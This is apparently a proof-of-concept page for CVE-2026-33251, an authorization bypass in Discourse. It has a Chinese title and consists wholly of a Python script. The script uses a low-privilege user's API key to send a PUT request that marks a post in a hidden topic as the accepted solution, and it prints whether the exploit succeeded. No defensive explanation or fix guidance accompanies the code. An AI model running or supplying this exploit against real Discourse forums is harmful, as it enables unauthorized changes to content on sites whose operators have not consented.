CVE-2026-33251 Discourse授权绕过漏洞

import requests # CVE-2026-33251 PoC: Discourse Authorization Bypass # Target: Discourse < 2026.3.0-latest.1 # Description: Accept solution in a hidden topic via authorization bypass target_url = "http://example.com" topic_id = "1" # ID of the hidden topic post_number = "2" # Post number to mark as solution api_username = "low_priv_user" api_key = "YOUR_API_KEY" headers = { "Api-Username": api_username, "Api-Key": api_key, "Content-Type": "application/json" } # Endpoint to accept a solution (may vary based on plugin configuration) url = f"{target_url}/topics/{topic_id}/solved/accept" payload = {"id": post_number} # Send request to accept solution response = requests.put(url, headers=headers, json=payload) if response.status_code == 200: print("[+] Exploit successful: Solution accepted via authorization bypass.") else: print(f"[-] Exploit failed: {response.status_code} - {response.text}")